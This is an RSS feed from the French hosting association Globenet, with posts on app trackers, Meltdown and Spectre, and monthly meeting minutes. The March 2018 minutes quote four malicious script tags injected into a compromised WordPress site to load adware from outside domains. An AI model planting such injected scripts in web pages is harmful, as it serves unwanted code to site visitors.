Globenet - articles http://www.globenet.org/ Militantisme, liberté d'expression, hébergement et services internet : articles/pages web fr Globenet Globenet Globenet Creative Commons by-2.5 Globenet http://www.globenet.org/IMG/siteon0.png?1246720755 http://www.globenet.org/ Globenet Trackers et profilage http://www.globenet.org/article401.html http://www.globenet.org/article401.html On vous relaie sur notre site la vidéo minimaliste mais efficace d'Exodus Privacy qui nous rappelle l'existence de « trackers » dans les applications qu'on utilise quotidiennement.On vous relaie sur notre site la vidéo minimaliste mais efficace d'Exodus Privacy qui nous rappelle l'existence de <strong>« trackers »</strong> dans les applications qu'on utilise quotidiennement. Un tracker, c'est quoi ? C'est un bout de code présent dans une application, ou un logiciel, qui transmet des informations à son propriétaire. Ces informations sont de deux sortes : les <strong>« données personnelles »</strong> (c'est-à-dire qui concernent chaque individu, identifié) et les <strong>« données d'usage » </strong> (qui concernent les modalités anonymes d'utilisation de l'application ou du logiciel). A partir des trackers, il est possible d'établir un profil qui est vendu d'autant plus cher aux annonceurs publicitaires qu'il est précis. Mais la bonne nouvelle c'est qu'il y a un certain nombre d'initiatives qui participent à la prise de conscience générale autour de la captation et de la valorisation économique des données personnelles. <strong>Exodus</strong> <a href="https://exodus-privacy.eu.org/" class='spip_url spip_out' rel='nofollow external'>https://exodus-privacy.eu.org/</a> par exemple, qui réussit à détecter les trackers directement dans les fichiers APK (le « <a href="https://fr.wikipedia.org/wiki/APK_(format_de_fichier)" class='spip_out' rel='external'>fichier Android Package</a> »), sans avoir besoin de les décompiler. On apprend plein de choses grâce à Exodus qui a déjà analysé un nombre impressionnant d'applications sur Android particulièrement populaires. Sur <a href="https://reports.exodus-privacy.eu.org/reports/apps/" class='spip_out' rel='external'>cette page</a> on peut lire les rapports sur chacun d'entre elles : un bon moyen de comprendre les relations économiques, jusque dans les lignes de code, entre Google, Facebook, Amazon et les petites applications qu'on télécharge sans y penser ! 2018-06-20T11:22:40Z text/html 2018-05 Mardi Globenet mai 2018 http://www.globenet.org/article400.html http://www.globenet.org/article400.html Mardi Globenet du 8 mai 2018 Mardi Globenet du 8 mai 2018<h3><span class='h3'> Mardi Globenet mai 2018 </span></h3> <p><strong> présent.es </strong></p> <ul class="spip"><li> Aube</li><li> Christophe</li><li> Jacques</li><li> Jonathan</li></ul> <h3><span class='h3'>ODJ</span></h3> <ul class="spip"><li> OLN</li><li> apéro politique CICP : données personnelles</li><li> branchement pirate à la baie PBO</li><li> demande de devis serveur Peertube </li><li> points techniques<ul class="spip"><li> mise en place password store</li><li> déplacement serveur consoles derrière un bastion</li><li> nouvelles ip OK pour Acrimed</li><li> Ludo en attente de réponse pour serveur CNT</li></ul></li></ul> <h3><span class='h3'>Apéro politique CICP : données personnelles</span></h3> <p>Préparation de l'apéro politique au CICP le lundi 11 juin. On compte inviter Exodus, Franciliens, TOS-DR.</p> <p>L'idée est d'exposer l'étendue de l'usage qui est fait de nos données et la quantité d'acteurs qui les collectent et les utilisent. On s'adressera principalement aux associations du CICP. On pourrait trouver un petit film ou un documentaire à projeter pour lancer le débat. Le film reste à trouver.</p> <p>Argument pour invitation : mise en réseau possible avec des associations de solidarité internationale.</p> <ul class="spip"><li> TOS-DR : pourquoi noter les services sur leur CGU, demande de présentation des services les mieux notés, et comment utiliser leur service.</li><li> Exodus : Demander de développer leurs connaissances sur l'exploitation des données récupérées par les appli.</li></ul> <h3><span class='h3'>Observatoire des libertés du numérique</span></h3> <p>Suite des discussions sur le futur projet de loi qui devrait changer le statut des hébergeurs (auditions en cours ou très bientôt).</p> <p>La conférence à l'ENS est décalée au mardi 12 juin.</p> <p>Demande de formaliser la participation de Globenet au groupe. Ça serait bien de relire la charte, mais en gros le principal engagement, c'est de signer les communiqués de presse et les positions publiques de l'observatoire. On est d'accord pour ce fonctionnement tant qu'il y a une personne de Globenet qui est disponible pour participer aux discussions de l'OLN (histoire de ne pas se retrouver signataires de déclarations que personne de Globenet n'aurait lues). On ne connaît pas les détails du fonctionnement de l'OLN lors de la publication de positions publiques, ça serait intéressant de savoir comment se passent les relectures des textes publiés.</p> <h3><span class='h3'>Branchement pirate à la baie PBO</span></h3> <p>C'est Olive qui s'est connecté sur une prise électrique chez nous... Il était censé nous contacter. Pour la serrure cassée on ne sait pas de quand ça date réellement mais c'est réparé.</p> <h3><span class='h3'>Demande de devis serveur Peertube</span></h3> <p>C'est pour des vidéos de musique et de vidéos orientées punk mais pas que, le service serait financé par des concerts de soutiens, avec l'envie de l'héberger ailleurs que dans une structure commerciale.</p> <p>Jonathan se renseigne sur les ressources nécessaires à ce service pour que Christophe puisse faire un devis.</p> <h3><span class='h3'>Mise en place password store</span></h3> <p>Un outil sécurisé de partage de mot de passe, mis en place par Emile. <a href="https://outils.globenet.org/wiki/password-store" class='spip_url spip_out' rel='external'>https://outils.globenet.org/wiki/pa...</a></p> <h3><span class='h3'>Déplacement serveur consoles derrière un bastion</span></h3> <p>Le bastion est une machine virtuelle chez Gitoyen, l'IP OOB Liazo a été installée sur le bastion. Est-ce toujours pertinent d'utiliser une IP hors Gitoyen dans cette nouvelle configuration ?</p> <p>Le serveur de console a un système d'exploitation propriétaire pas à jour, on a donc maintenant une machine vraiment à jour et avec un suivi de sécurité en frontal.</p> <p>On avait oublié de prévenir les hébergés qui ont des serveurs physiques et qui ont besoin d'accéder au serveur de consoles.</p> <p>La doc a été mise à jour : <a href="https://outils.globenet.org/wiki/tech/machines/consoles.globenet.org" class='spip_url spip_out' rel='external'>https://outils.globenet.org/wiki/te...</a></p> <h3><span class='h3'>Nouvelles adresses IP pour Acrimed</span></h3> <p>C'est fait et ça fonctionne.</p> <h3><span class='h3'>Ludo en attente de réponse pour serveur CNT</span></h3> <p>Comme l'accès au serveur de consoles a changé, il faut lui donner le nouvel accès. On va refiler la patate chaude à Emile.</p> <h3><span class='h3'>Mise à jour de la liste des membres</span></h3> <p>Aube propose de mettre à jour la liste des associations membres de Globenet en partant de la facturation, ça serait aussi l'occasion de faire une passe sur les contacts et les services utilisés. Il y a aussi certains services historiques pour lesquels ça risque d'être moins simple.</p> 2018-05-22T13:08:12Z text/html 2018-04 Mardi Globenet avril 2018 http://www.globenet.org/article399.html http://www.globenet.org/article399.html Mardi Globenet du 10 avril 2018 Mardi Globenet du 10 avril 2018<h3><span class='h3'>Mardi globenet avril 2018</span></h3> <p><strong>présent-es</strong></p> <ul class="spip"><li> Aube</li><li> Emile</li><li> Jacques</li><li> Jon</li><li> WhilelM</li><li> sebian</li></ul> <h3><span class='h3'>ODJ</span></h3> <ul class="spip"><li> OLN</li><li> Peertube</li><li> Zelig</li><li> Procès Gixe</li><li> liste Montreuil état d'urgence</li><li> AG FFDN</li></ul> <ul class="spip"><li> Adminsys<ul class="spip"><li> Accès OOB</li><li> ip Acrimed</li><li> ipv6</li><li> certificats</li><li> avancement serveur CNT</li><li> problème mails laposte.net</li></ul></li></ul> <h3><span class='h3'>OLN</span></h3> <p>Aube et Jacques ont participé à deux réunions depuis le dernier mardi Globenet.</p> <ul class="spip"><li> Le projet de loi de programmation militaire (LPM) y est mentionné - il faut continuer à surveiller cette loi, notamment sur les sanctions applicables aux opérateurs. </li><li> Pour le projet de loi sur la protection des données personnelles, il y a eu une commission mixte paritaire qui n'est pas arrivée à un accord. La situation est suffisamment confuse pour qu'on n'en connaisse pas les enjeux aujourd'hui.</li><li> La quadrature va lancer une campagne sur la mise en application du RGPD, la semaine prochaine.</li><li> Le projet de loi contre les "fake news" est en arrivance : la responsabilité des hébergeurs pourrait être engagée encore. </li></ul> <p>L'équipe est motivée pour continuer sa participation à l'OLN et y apporter sa position spécifique d'hébergeur internet.</p> <h3><span class='h3'>Fake News</span></h3> <p>Ce qui menace, c'est que les plateformes soient pénalement responsables des fake news. Il parait nécessaire pour Globenet de voir ce qui se prépare, quitte à devoir se positionner sur la question.</p> <h3><span class='h3'>événement RGPD</span></h3> <p>L'idée est lancée de préparer un événement pour le RGDP. On pourrait organiser un atelier ou une table ronde pour aider à savoir ce qui existe pour connaître l'usage de nos données par les acteurs. Qui, quoi. Piste d'intervenant-es : TOSDR, la FFDN, Exodus.</p> <h3><span class='h3'>Peertube</span></h3> <p>C'est un logiciel qui offre une alternative à youtube, de manière décentralisée et basée sur la féderation de serveur et le pair-à-pair. Discutant de la pertinence de lancer une instance peertube Globenet, on en vient à la conclusion que l'on n'a pas les moyens en adminsys pour installer et maintenir une instance.</p> <h3><span class='h3'>Zelig RTM</span></h3> <p>Plusieurs membres de l'équipe ont fait le déplacement à Marseille pour assister à la <a href="http://www.mucem.org/programme/zelig-rtm-hacktivismes-linformation-veut-toujours-etre-libre" class='spip_out' rel='external'>Zelig RTM</a>. Iels ont passé de bon moments et ont pu assister avec intérêts aux tables rondes.</p> <h3><span class='h3'>Liste de diffusion Montreuil etat d'urgence</span></h3> <p>Le collectif est dissout ; on a fermé la liste.</p> <h3><span class='h3'>AG FFDN</span></h3> <p>L'AG FFDN 2018 aura lieu du 5 au 8 mai 2018. Sebian, Emile et WhilelM y seront et sont mandatés pour Globenet</p> <h3><span class='h3'>AG Gitoyen</span></h3> <p>L'AG Gitoyen aura lieu le 28 avril 2018 au CICP à 15h. Les membres de l'équipe qui seront présents à cette AG ont un mandat pour parler au nom de Globenet.</p> <h3><span class='h3'>Accès OOB (réseau séparé) à Paris-Bourse</span></h3> <ul class="spip"><li> Le câble ethernet entre la baie de l'autre.net (z1b09) et la baie Globenet (z1b04) est branché et en attente en bas de la baie globenet.</li><li> [<a href="https://screwy.me/~sebian/oob_globenet.jpg" class='spip_url spip_out' rel='nofollow external'>https://screwy.me/ sebian/oob_globe...</a>] (étiquette OOB).</li></ul> <p>À faire :</p> <ul class="spip"><li> préciser la config réseau, nouveau VLAN => (vlan gitoyen, et accès sur le port oob).</li><li> propagation du vlan admin globenet ? => non</li><li> vm oob chez gitoyen à créer (avec une ip publique gitoyen, et ce vlan).</li></ul> <h3><span class='h3'>IP Acrimed</span></h3> <p>Acrimed a besoin d'un deuxième bloc IP. Émile fait ça.</p> <h3><span class='h3'>IPv6</span></h3> <p>On donne un range à Yunohost et on voit avec eux pour un premier crash test (Émile).</p> <h3><span class='h3'>Certificats</span></h3> <p>Les certificats des services mails sont maintenant signés avec Let's Encrypt. Il reste le ftp à faire. Jacques passe no-log en certificat wilcard Let's Encrypt.</p> <h3><span class='h3'>Avancement serveur CNT</span></h3> <p>Reprise de l'installation de son nouveau serveur par la CNT. On doit renvoyer les mots de passes pour la console.</p> <h3><span class='h3'>Problème mails laposte.net</span></h3> <p>laposte.net rencontre des problèmes lourds sur son infrastructure mail. Elle annonce que ces soucis seront résolus pour la fin du moi d'avril (sic).</p> 2018-05-12T13:32:16Z text/html Les failles de sécurité : que faire ? http://www.globenet.org/article397.html http://www.globenet.org/article397.html Dans un article précédent, nous avons tâché d’expliquer ce qu’était une faille de sécurité. Mais si on comprend un peu mieux ses implications, on reste parfois démuni face à elle, surtout quand on n’est pas spécialiste. Alors que peut-on faire ? <p><strong>Que peut-on faire face à une faille de sécurité ?</strong></p> <p>Pas grand chose quand on est simple utilisateur, si ce n'est éviter de visiter des sites web qui peuvent être vérolés, d'ouvrir des pièces jointes dont on n'est pas sûr ou encore de télécharger, d'utiliser des clés USB dont on ne connaît pas la provenance, et/ou d'utiliser des logiciels défectueux. Cette dernière recommandation vaut particulièrement pour la faille « Spectre » qui est cependant plus difficilement exploitable que Meltdown, parce que cette faille porte sur les « murs » qui séparent les différents logiciels installés sur une machine. Schématiquement, cette faille permet d'influencer le comportement d'un processus depuis un autre, sans autorisation du système d'exploitation. En d'autres termes, il devient possible par l'intermédiaire d'un processus malveillant de contrôler une partie des logiciels installés sur la machine.</p> <p>Le mieux est d'attendre que les développeurs, qui travaillent au code des logiciels, publient les « patchs » (les bouts de code qui colmatent les brèches) puis de télécharger la mise à jour du logiciel d'exploitation une fois qu'elle est stable. Pour Linux, il s'agit de la dernière version du noyau numérotée 4.15. Il faut donc être patient quand une faille de sécurité est détectée et rester vigilant quant à l'utilisation de ses outils.</p> <p>Concernant les failles de sécurité actuelles, la question du changement de matériel se pose dans la mesure où elles affectent la structure matérielle même des machines.</p> <p><strong>Et le logiciel libre, dans tout ça ?</strong></p> <p>Comme vous le savez, on ne saurait assez recommander d'utiliser des logiciels libres qui présentent des vrais avantages face aux failles de sécurité. Certains prétendent que si des attaquants ont accès au code source, il sera plus facile pour eux de casser le système. C'est vrai, mais à l'inverse l'énorme bénéfice de la publication des codes sources est que toute une communauté a la possibilité d'agréger ses efforts pour corriger les failles. Il faut bien voir que tous les codes sources, aussi bien protégés qu'ils puissent l'être, sont tôt ou tard découverts. Utiliser du libre permet de recevoir les mises à jour les plus abouties le plus rapidement, sans grosse baisse de performance.</p> <p><strong>références</strong></p> <ul class="spip"><li> <a href="http://www.01net.com/actualites/pourquoi-la-faille-spectre-continuera-longtemps-de-hanter-nos-processeurs-1392225.html" class='spip_out' rel='external'>Un point (assez technique) sur l'actualité des failles</a></li><li> <a href="http://www.zdnet.fr/actualites/meltdown-spectre-et-linux-415-bonnes-et-mauvaises-nouvelles-39863318.htm" class='spip_out' rel='external'>Meltdown, Spectre et Linux 4.15 : bonnes et mauvaises nouvelles - ZDNet</a> </li><li> <a href="https://linuxfr.org/news/deux-failles-critiques-meltdown-et-spectre" class='spip_out' rel='external'>Deux failles critiques : Meltdown et Spectre - LinuxFR</a></li></ul> 2018-04-05T12:28:52Z text/html 2018-03 Mardi Globenet mars 2018 http://www.globenet.org/article398.html http://www.globenet.org/article398.html Mardi Globenet du 13 mars 2018 Mardi Globenet du 13 mars 2018<p><strong>présent-es</strong></p> <ul class="spip"><li> Aube</li><li> Emile</li><li> Jacques</li><li> Jon</li><li> Sebian</li><li> Taffit</li><li> WhilelM</li></ul> <h3><span class='h3'>ODJ</span></h3> <ul class="spip"><li> malware site web ?</li><li> formation échanges et partenariats</li><li> retour OLN</li><li> Adminsys<ul class="spip"><li> certificats à renouveller</li><li> webmail squirrelmail - porter la taille des pièces jointes à 5Mo</li><li> Accès OOB (Out-Of-Band) Gitoyen ?</li><li> DNS primaire dns.sudeducation.org</li></ul></li></ul> <h3><span class='h3'>malware site web ?</span></h3> <p>Un hébergé nous a contacté suite à des messages de visiteurs qui se plaignent de popups publicitaires agressifs lors de la visite de son site web. Ces pages n'apparaissent pas pour toutes les visites.</p> <p>Après discussion et analyse en réunion, on a bien la confirmation que le site web est compromis.</p> <p>Quoi faire : mettre à jour - il y a de fortes chances que ça ne suffise pas. il faudrait faire le ménage mais ça semble être une grosse tache.</p> <p>Par exemple ligne 804 de la page wp/index.php :</p> <div style='text-align: left;' class='spip_code' dir='ltr'><code><script type="text/javascript" src="//go.oclaserver.com/apu.php?zoneid=1476266"></script><br /> <script src="//go.mobtrks.com/notice.php?p=1537586&interstitial=1"></script><br /> <script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1476269&interactive=1&pushup=1"></script><br /> <script src="//defpush.com/ntfc.php?p=1567903" data-cfasync="false" async></script></code></div> <p>Ce sont des référence à des bouts de codes qui vont récupérer de la pub.</p> <p>Au niveau du serveur, le répertoire wordpress est une inclusion dans un répertoire SPIP qui est aussi actif (sans savoir si ce SPIP est aussi vérolé).</p> <h3><span class='h3'>formation échanges et partenariats </span></h3> <p>L'association échanges et partenariats nous a contacté pour demander une intervention sur la sécurité numérique auprès de bénévoles qui partiront en mission. Le périmètre de l'intervention est en discussion et devrait se faire le 12 avril 2018.</p> <h3><span class='h3'>retour OLN</span></h3> <p>Dans les locaux de la quadrature, discussion de stratégies communes sur la question des libertés sur Internet.</p> <p><strong>Questions sur les durées de rétention des logs</strong></p> <p>Une fiche juridique est en cours d'élaboration par la quadrature et la FFDN sur le cadre juridique lié à l'hébergement, notamment la rétention des données de journalisation (logs).</p> <p>L'idée est lancée de participer à un événement autour de la mise en place du RGPD le 25 mai 2018.</p> <p>La Quadrature a déjà <a href="https://www.laquadrature.net/fr/guide_internet_libre_acces" class='spip_out' rel='external'>diffusé un guide juridique</a> à l'attention des structures qui donnent un libre accès à Internet.</p> <p>On retiendra du document que :</p> <ul class="spip"><li> La loi française sanctionne le non-respect de l'obligation de rétention d'identifiant de terminal, d'identifiant de attribué (tel qu'une adresse ip), des dates heures de début etde fin d'accès ainsi que les caractéristiques de la ligne. Cette sanction peut aller jusqu'à une peine d'un an d'emprisonnement et une amende de 375 000 €</li></ul> <p>mais que cependant :</p> <ul class="spip"><li> conserver des données personnelles sans justification est puni en droit européen d'une amende de 20 000 000 € ou 4% du chiffre d'affaire mondial.</li></ul> <p>et conclue qu'il est recommandé aux organisations d'appliquer le droit européen.</p> <p><strong>Problématique des nouvelles boîtes noires de l'ANSSI</strong></p> <p>Il semble clair que l'ANSSI veut faire du DPI. La quadrature a un point de vue, la FFDN n'en a pas pour l'instant.</p> <p>Lire <a href="https://app.wallabag.it/share/5aa404e65a0052.34633901" class='spip_out' rel='external'>Du deep packet inspection dans le projet de loi de programmation militaire 2019-2025</a></p> <h3><span class='h3'>Adminsys</span></h3> <p><strong>certificats à renouveler</strong></p> <p>Jacques s'occupe de la mise en place des certif no-log Jon, WhilelM et Emile pour Globenet.</p> <p><strong>webmail squirrelmail - porter la taille des pièces jointes à 5Mo</strong></p> <p>consensus pour monter à 5Mo intérêt pour argumenter les raisons de ne pas monter la taille des pièces.</p> <p><strong>Accès OOB (Out-Of-Band) Gitoyen ?</strong></p> <p>Il faut encore demander à Ielo-Liazo s'il est possible d'avoir un câble en cuivre entre la baie de Globenet et celle où est Gitoyen. L'autre solution d'utiliser un lien fibre est vraiment à éviter (on ne veut pas brancher le serveur de consoles sur un switch ou un convertisseur de média).</p> <p><strong>DNS primaire dns.sudeducation.org</strong></p> <p>Bougé vers la nouvelle infrastructure, la configuration du secondaire (karl.globenet.org) a été mise à jour en coordination.</p> 2018-03-27T13:22:26Z text/html Les failles de sécurité : qu'est-ce ? http://www.globenet.org/article394.html http://www.globenet.org/article394.html Le 5 janvier 2017 le grand public apprenait la nouvelle dans les médias : deux failles de sécurité, baptisées « Meltdown » et « Spectre », avaient été détectées dans les « processeurs » (les composants les plus importants avec la RAM) de très nombreuses machines. Mais qu'est-ce qu'une « faille de sécurité » et que peut-on y faire ? <h3><span class='h3'>La « faille de sécurité » a toujours existé en informatique.</span></h3> <p>La faille de sécurité est la preuve que tout système, même informatique, n'est pas infaillible. Au moment de concevoir une machine, de programmer un site web ou un logiciel, la préoccupation majeure de l'éditeur est : est-ce que ça fonctionne ? Si ça ne fonctionne pas en raison d'une erreur, c'est un « bug » et on réécrit une partie du programme pour l'éliminer. Les failles de sécurité, elles, mettent en danger la sécurité d'un programme ou d'une machine, c'est-à-dire qu'il est possible d'accéder à distance à des informations échangées par l'intermédiaire d'un programme ou d'une machine et ce à l'insu de l'utilisateur. On peut définir comme une « faille » tout moyen que peut exploiter un attaquant pour détourner un système de son utilisation de départ. Les attaques sont répertoriées selon les effets produits et l'intention qui les guide : une attaque peut être la modification du fonctionnement normal d'un service, elle peut aussi concerner une atteinte à la confidentialité de données ou toucher à l'intégrité de celles-ci. La plupart des attaques concerne la prise de contrôle malveillante d'un système comme, par exemple, le contrôle de machines zombies utilisées pour envoyer des spams ou tout simplement le piratage de logiciels commerciaux.</p> <p>Mais les failles de sécurité, comme les bugs, font partie inhérente de l'histoire de l'informatique. On peut citer la faille « Heartbleed », inscrite par erreur dans le référentiel d'OpenSSL et découverte en mars 2014, ou encore « Shellshock » découverte en septembre de la même année. Il y a cependant un décalage entre l'information détenue par les différentes personnes concernées par ces failles : les utilisateurs malveillants qui exploitent les failles peuvent en avoir pris connaissance beaucoup plus tôt que les chercheurs en sécurité informatique qui chercheront à les réparer.</p> <p>La date officielle d'une « découverte » de faille informatique est donc sujette à caution. Le grand public est généralement le dernier au courant de son existence : la plupart du temps on apprend l'existence d'une faille de sécurité quand les développeurs ont déjà conçu le pansement (le patch) qui permet qu'elle ne soit plus exploitée, ce qui évite de provoquer une panique générale. Il suffit alors, pour l'utilisateur, de télécharger la mise à jour du logiciel qui contient les correctifs.</p> <p>La différence cette année entre Meltdown et Spectre d'une part et les failles de sécurité qui touchent à l'architecture des sites web, des logiciels et des applications d'autre part, c'est qu'il s'agit de failles qui se logent dans la structure matérielle même des machines. En effet, elles concernent l'architecture des processeurs modernes (Intel, AMD, ARM, etc.). Elles étaient donc là depuis le début, mais il a fallu attendre les dernières évolutions de la connaissance informatique pour qu'elles deviennent exploitables et détectable à grande échelle. C'est-à-dire qu'au cours du temps et au fur et à mesure que l'informatique évolue, on se rend compte que certaines dimensions ont été négligées au moment de construire les machines, ou, dans d'autres cas, de programmer les logiciels ou sites web.</p> <h3><span class='h3'>Une faille de sécurité reflète des choix opérés à un moment donné</span></h3> <p>Certes, il est possible de colmater la faille grâce à une mise à jour du système d'exploitation mais en l'occurrence, parce qu'il s'agit des processeurs présents dans les machines, il va falloir reconsidérer la construction même des supports.</p> <p>On se rend alors compte que l'informatique n'est jamais neutre : les puces Intel qui composent la grande majorité des machines utilisées à l'échelle planétaire ont été conçues à un moment du développement du marché de l'informatique. [<a href='#nb1' class='spip_note' rel='footnote' title='La prouesse technique d'Intel, c'est d'avoir accéléré les processeurs en leur (...)' id='nh1'>1</a>] D'un coup, les machines sont devenues beaucoup plus rapides. Au passage, l'entreprise est devenue leader du marché. Par conséquent, grâce aux failles de sécurité, on se rend compte que l'anomalie réside plutôt dans la recherche d'une rapidité et d'une efficacité qui néglige l'aspect sécurité et protection de l'utilisation privée d'un ordinateur. [<a href='#nb2' class='spip_note' rel='footnote' title='Alors certes, à l'époque de construction d'une machine ou d'un programme, une (...)' id='nh2'>2</a>] </p> <p>Depuis la conception d'un programme jusqu'à son écriture et son utilisation, l'apparition des failles de sécurité est toujours une bonne occasion de réfléchir à nouveau aux enjeux de sécurité derrière la technique, souvent opaque au grand public.</p> <p><strong>références</strong></p> <ul class="spip"><li> <a href="https://fr.wikipedia.org/wiki/Vuln%C3%A9rabilit%C3%A9_(informatique)" class='spip_out' rel='external'>Développements théoriques sur les vulnérabilités (Wikipedia)</a> </li><li> <a href="http://www.liberation.fr/futurs/2018/01/04/meltdown-et-spectre-les-bugs-de-l-an-2018_1620319" class='spip_out' rel='external'>Article de Libération sur les failles « Meltdown » et « Spectre »</a></li><li> <a href="https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/" class='spip_out' rel='external'>Mitigations landing for new class of timing attack - Mozilla</a></li></ul> 2018-03-27T13:22:13Z text/html Zelig RTM – (H)acktivismes : l’information veut toujours être libre http://www.globenet.org/article396.html http://www.globenet.org/article396.html Samedi 17 mars 2018 à l'auditorium du Mucem (Marseille) - Entrée libre #media #surveillance #chelsea_manning Tables rondes, projections et performance <p>Samedi 17 mars 2018 à l'auditorium du Mucem (Marseille) - Entrée libre #media #surveillance #chelsea_manning</p> <p>Tables rondes, projections et performance</p><h3><span class='h3'>TRANS//BORDER - Les enseignements de Nathalie Magnan </span></h3> <p>Quelle articulation entre les paroles et pratiques féministes/LGBT et les questions technologiques (internet, logiciels, outils techniques) ? Depuis l'élection américaine de 2016, internet peut être perçu comme une arme de « désinformation massive ». L'opposition binaire des années 1990-2000 entre « mass médias » et « médias alternatifs » est aujourd'hui à réévaluer. À l'heure des réseaux sociaux omniscients et des « téléphones espions » (smart-phones), une analyse critique d'internet s'avère indispensable.</p> <p>Le titre de cette séquence fait référence au héros du film de Woody Allen Zelig (1983), personnage mutant qui apparaît toujours là où on ne l'attend pas. Le nom « Zelig » a été utilisé, avec des variations diverses (zeligConf, no-zelig, zelig.rc2), au début des années 2000 pour désigner plusieurs rencontres organisées à Paris autour des usages activistes de l'internet. Nathalie Magnan y avait organisé des ateliers non-mixtes, exclusivement ouverts « à toute personne se déclarant femme le temps de l'atelier ».</p> <p>Tous les détails du programme sur la <a href="http://www.mucem.org/programme/zelig-rtm-hacktivismes-linformation-veut-toujours-etre-libre" class='spip_out' rel='external'>page de présentation</a></p> 2018-03-12T20:51:05Z text/html 2018-02 Mardi Globenet février 2018 http://www.globenet.org/article395.html http://www.globenet.org/article395.html Mardi Globenet du 13 février 2018 Mardi Globenet du 13 février 2018<p>Mardi Globenet du 13 février 2018</p> <h3><span class='h3'>Mardi globenet février 2018</span></h3> <p><strong>présent-es</strong></p> <ul class="spip"><li> anonyme </li><li> Aube </li><li> Christophe</li><li> Émile </li><li> Jacques </li><li> Jonathan </li></ul> <h3><span class='h3'>ODJ</span></h3> <ul class="spip"><li> discussion sur la protection et la collecte des données</li><li> invitation OLN sur la LPM</li><li> recherche sur l'histoire de Globenet</li><li> actualité des membres de la FFDN</li><li> BPALC</li><li> Procès</li><li> points divers administration système</li></ul> <hr class="spip" /> <h3><span class='h3'>discussion sur la protection et la collecte des données</span></h3> <p>Échanges autour de l'intérêt d'un participant pour l'association et la protection des données par rapport à la surveillance ou la police - comment utiliser les réseaux numériques - comment sont collectées et traitées les données.</p> <h3><span class='h3'>invitation OLN sur la LPM</span></h3> <p>La prochaine réunion de l'observatoire des libertés et du numérique [<a href="https://www.lececil.org/oln" class='spip_url spip_out' rel='nofollow external'>https://www.lececil.org/oln</a>] portera entre autres sur la loi de programmation militaire (LPM). Ce sont des groupes de travail très techniques (législatifs). L'ordre du jour est sur la prochaine LPM avec les propositions inquiétantes de l'ANSSI. Aube et Jacques sont intéressé-es à y aller.</p> <h3><span class='h3'>Point sur la recherche histoire de Globenet</span></h3> <p>Aube a lu tous les comptes-rendus publiés sur le site web et a besoin maintenant de réaliser des interviews. Globenet a une histoire particulièrement longue et l'écriture de l'histoire de l'association et de ses moments de bascule semble être un sujet d'intérêt.</p> <h3><span class='h3'>Actualité des membres FFDN</span></h3> <p>WhilelM a répondu au mail de la FFDN qui nous demande des nouvelles de nos activités.</p> <h3><span class='h3'>BPALC</span></h3> <p>WhilelM et Benjamin doivent se parler pour relancer la préparation de la plateforme de paiement par CB.</p> <h3><span class='h3'>Procès</span></h3> <p>Audience de mise en état du 20 janvier 2018 a été renvoyée, depuis nous avons reçu les conclusions de notre adversaire auxquelles nous avons besoin de répliquer avant le 13 mars, avant l'audience de mise en état prévue le 20 mars.</p> <h3><span class='h3'>Adminsys</span></h3> <p><strong>disque /dev/sdd sextant (et vm lrv) && smart error bender</strong></p> <p>Une erreur de secteur (réglée depuis) sur un disque de sextant, a entraîné une mise en lecture seule de la machine virtuelle (vm) de la Ressourcerie Verte. Bender a aussi un ou deux secteurs en défaut, ça n'a pas encore été traité.</p> <p><strong>blocage requêtes flux RSS / couchant</strong></p> <p>Le blocage des requêtes sortantes depuis couchant (le serveur web du mutualisé) empêche les services de mise à jour automatique des sites web et bloque les rafraîchissements des flux RSS, on vire les règles shorewall du blocage.</p> <p><strong>consoles (sextant, nodes, marsouins) && ipmi node2</strong></p> <p>WhilelM a vérifié les consoles. Émile regarde avec liazo pour tirer un lien rj45 avec la baie de gitoyen et permettre la mise en place d'un bastion sur le serveur de consoles.</p> <p><strong>vm FRMJCIDF</strong></p> <p>Potentiellement un bug dans la mise à jour de php. Jonathan va transmettre la commande pour trouver les mots de passe des bases de données qui sont stockés en clair par AlternC.</p> <p><strong>bender</strong></p> <p>Ne marche pas beaucoup mieux qu'avant.</p> <p><strong>migration owncloud CGT ATOS</strong></p> <p>Migration en cours, la situation est débloquée depuis qu'un paquet debian pour owncloud 8.2 a été remis en ligne.</p> <p><strong>état ganeti</strong></p> <p>Problème lors de la migration de node2, on essaye de s'y remmettre ce mois-ci.</p> 2018-02-24T12:45:45Z text/html 2018-01 Mardi Globenet janvier 2018 http://www.globenet.org/article393.html http://www.globenet.org/article393.html Mardi Globenet du 9 janvier 2018 <h3><span class='h3'>Mardi globenet janvier 2017</span></h3> <p><strong>présent-es</strong></p> <ul class="spip"><li> Aube </li><li> bbmt </li><li> Christophe</li><li> Émile </li><li> Jacques </li><li> Jonathan </li><li> Sébastien</li></ul> <h3><span class='h3'>ODJ</span></h3> <ul class="spip"><li> Article Neutralité du net</li><li> Point LOGS</li><li> Provider's Commitments for Privacy</li><li> MELTDOWN ET SPECTRE</li><li> tunes FDNN</li><li> CA CICP</li><li> avancement sur la migration du serveur CNT</li><li> supervision serveur Sud Éducation</li><li> création vm Yunohost</li><li> page appel à dons no-log</li><li> Site web</li><li> Migration 10G </li><li> Ganeti et organisation des VMs</li><li> NTP</li><li> RTC no-log</li><li> Sysadmins<ul class="spip"><li> certificats wildcard et let's encrypt : distribution robby pas supportée</li><li> modifications jail fail2ban</li><li> DNS secondaire - erreur sur script </li><li> pare-feu</li></ul></li></ul> <hr class="spip" /> <h3><span class='h3'>Articles</span></h3> <p>Aube est en master sociologie, et elle est motivée sur faire un travail sur le sujet de l'activisme autour de l'internet libre dans le cadre de son mémoire. Elle est curieuse d'apprendre des aspects techniques et souhaite contribuer par des articles et les activités</p> <p>Il n'y a pas beaucoup de littérature sur le sujet en ce qui concerne la France. Il y avait des journalistes qui bossaient là-dessus au début des années 2000 mais ça s'est tassé.</p> <p>Il y a eu une étudiante de master I qui a fait un rapport sur la brique internet</p> <p>lien intéressant : <a href="https://labriqueinter.net/files/m1histoire_des_sciences_technologies_societes_la_brique_internet.pdf" class='spip_url spip_out' rel='nofollow external'>https://labriqueinter.net/files/m1h...</a></p> <h3><span class='h3'>Article neutralité du net</span></h3> <p>On discute de l'article qui a été <a href="http://www.globenet.org/La-neutralite-du-net.html" class=''>publié sur le site</a>. <br />• Il pourrait être utile de préciser qu'elle est inscrite dans la loi française et au niveau européen. <br />• L'argument technique de la volonté de contention sur l'augmentation de la consommation de bande passante n'est pas accepté par tout le monde, on va éviter de le mentionner dans l'article.</p> <h3><span class='h3'>Point LOGS</span></h3> <p>Il faut écrire une annonce.</p> <h3><span class='h3'> Provider's 